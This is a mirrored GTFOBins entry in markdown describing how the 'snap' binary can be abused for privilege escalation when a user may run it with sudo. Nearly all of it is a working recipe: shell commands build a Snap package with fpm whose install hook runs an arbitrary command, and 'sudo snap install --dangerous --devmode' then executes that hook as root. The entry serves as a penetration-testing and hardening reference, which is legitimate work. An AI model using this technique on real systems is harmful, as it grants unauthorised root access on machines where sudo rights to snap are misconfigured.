mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
bc5783fb5b
Close #203.
17 lines
529 B
Markdown
17 lines
529 B
Markdown
---
|
|
functions:
|
|
sudo:
|
|
- description: |
|
|
It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
|
|
```
|
|
COMMAND=id
|
|
cd $(mktemp -d)
|
|
mkdir -p meta/hooks
|
|
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
|
|
chmod +x meta/hooks/install
|
|
fpm -n xxxx -s dir -t snap -a all meta
|
|
```
|
|
code: |
|
|
sudo snap install xxxx_1.0_all.snap --dangerous --devmode
|
|
---
|